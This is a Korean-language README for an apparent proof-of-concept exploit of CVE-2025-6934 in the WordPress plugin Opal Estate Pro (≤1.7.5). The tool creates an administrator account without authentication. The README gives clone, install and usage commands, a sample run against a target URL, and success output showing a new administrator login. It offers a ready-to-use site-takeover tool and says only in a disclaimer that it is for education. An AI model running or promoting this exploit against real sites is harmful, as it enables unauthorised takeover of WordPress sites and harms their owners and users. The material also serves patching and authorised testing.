CVE-2025-6934 자동 익스플로잇

⚡ 개요

CVE-2025-6934는 WordPress 플러그인: Opal Estate Pro ≤ 1.7.5를 대상으로 하는 개념 증명(PoC) 익스플로잇입니다.
이 익스플로잇은 인증 없이 관리자 계정 생성을 시연합니다.

면책 조항: 이 PoC는 교육 목적으로만 제공됩니다. 허가 없이 시스템에 사용하지 마십시오.

🛠 기능

• 플러그인 버전 자동 감지.
• 등록에 필요한 nonce 자동 획득.
• 인증 없이 새 관리자 계정 생성.
• 상태, 성공, 실패 및 정보 메시지를 포함한 컬러 콘솔 출력.
• 최소한의 종속성으로 Python 3.x에서 작동.

⚙️ 설치

1. 저장소를 클론합니다:

git clone https://github.com/Rosemary1337/CVE-2025-6934.git
cd CVE-2025-6934

2. 종속성을 설치합니다:

pip install -r requirements.txt

요구 사항: requests, beautifulsoup4, colorama

🚀 사용법

python3 main.py -u <TARGET_URL> -mail <EMAIL> -password <PASSWORD> -user <USERNAME>

예시:

python3 main.py -u http://site.com/ -mail [email protected] -password 3xplo1tI5Fun -user r1337

인자

🎨 출력

콘솔에는 다음이 표시됩니다:

• 상태 메시지 [•]
• 성공 [✔]
• 실패 [✖]
• 정보 [i]

예시:

[•] Starting Exploit...
[✔] Nonce Found: xyz123
[✔] Exploit Successful!
    Username : r1337
    Email    : [email protected]
    Password : 3xplo1tI5Fun
    Role     : administrator

🔐 보안 및 면책 조항

• 교육 및 테스트 목적으로만 사용하십시오.
• 명시적 허가 없이 웹사이트를 공격하지 마십시오.
• 통제된 실험실 또는 승인된 침투 테스트에서만 사용하십시오.

🔗 연락처

저는 도구를 만들고 지식을 공유하는 것을 즐기는 활동적인 개발자입니다. 다음 경로로 연락하실 수 있습니다: